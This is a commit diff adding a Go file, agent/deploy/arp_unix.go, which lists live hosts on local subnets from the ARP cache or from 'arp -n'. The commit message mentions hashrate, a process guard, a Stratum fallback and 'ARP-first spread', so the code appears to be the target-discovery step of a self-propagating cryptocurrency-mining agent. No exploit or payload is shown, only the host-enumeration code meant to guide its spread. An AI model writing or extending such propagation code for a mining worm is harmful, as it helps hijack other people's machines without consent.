fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

agent/deploy/arp_unix.go

@@ -0,0 +1,105 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"bufio"
+	"net"
+	"os"
+	"os/exec"
+	"strings"
+)
+
+// arpHosts returns IPv4 hosts in the ARP cache on the local subnets.
+// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running
+// `arp -n`. Returns nil if nothing useful is found (caller does full scan).
+func arpHosts() []string {
+	hosts := arpFromProc()
+	if len(hosts) == 0 {
+		hosts = arpFromCmd()
+	}
+	return hosts
+}
+
+// arpFromProc parses Linux's /proc/net/arp.
+// Format: IP address  HW type  Flags  HW address  Mask  Device
+func arpFromProc() []string {
+	f, err := os.Open("/proc/net/arp")
+	if err != nil {
+		return nil
+	}
+	defer f.Close()
+
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	scanner := bufio.NewScanner(f)
+	for scanner.Scan() {
+		fields := strings.Fields(scanner.Text())
+		if len(fields) < 4 {
+			continue // skip header
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil {
+			continue
+		}
+		// Flags = 0x0 means incomplete — skip
+		if fields[2] == "0x0" {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	_ = scanner.Err()
+	return hosts
+}
+
+// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist.
+func arpFromCmd() []string {
+	raw, err := exec.Command("arp", "-n").Output()
+	if err != nil {
+		return nil
+	}
+	out := string(raw)
+
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	for _, line := range strings.Split(out, "\n") {
+		fields := strings.Fields(line)
+		if len(fields) < 2 {
+			continue
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil || ip.IsLoopback() {
+			continue
+		}
+		// arp -n marks incomplete entries as "(incomplete)"
+		if strings.Contains(line, "incomplete") {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	return hosts
+}